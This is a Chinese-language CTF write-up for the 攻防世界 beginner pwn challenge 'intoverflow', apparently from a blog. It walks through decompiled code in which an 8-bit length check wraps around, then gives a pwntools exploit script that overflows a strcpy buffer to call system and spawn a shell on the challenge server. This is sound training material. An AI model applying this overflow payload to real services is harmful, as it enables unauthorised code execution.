做了一下午的攻防世界的题,总算快把新手区的题做完了,这里放一道有收获的题
收获是利用整数溢出
利用checksec
看一看IDA里面的东西
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
发现有判断,直接进入login
char *login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]
memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}
发现有俩个读入,而且数目很大
再次进入返回函数
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}
这里就是我们要重点利用的地方,由反汇编代码,我们发现s的长度必须在3,8之间,else下有发现有栈溢出漏洞,但s不可能么大。
观察到v3是8位整数,正好可以利用整数溢出,则填入259-263的字节数即可填充s然后经过strcpy来获得shell
下面是WA
# coding=utf-8
from pwn import *
context.log_level = 'debug'
sys_plt = 0x08048520
elf=ELF('./intoverflow')
sys_addr = elf.symbols['what_is_this']
payload = 'a'*24 + p32(sys_plt) + 'a' * 4 + p32(0x08048960)
payload = payload.ljust(260,'a') #ljust可以用a来填充payload到指定长度260
p = remote('111.200.241.244',52073)
p.sendlineafter('Your choice:','1')
p.sendlineafter('your username:','aa')
p.sendlineafter('your passwd:',payload)
p.interactive()
说一下让自己坑的地方
- 少用'\x00'来填充,因为很多函数都是用它来作为结束的判断,在后面填充时一直不对。
- 注意到read读取的数量,出题人好心的清理了一下区域,所以能精确读取发送的内容,自己最好也在发送内容后面加上截断。
- 注意函数名字的变化,我一直在填充20h的s 呜呜呜u呜呜呜
以上
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。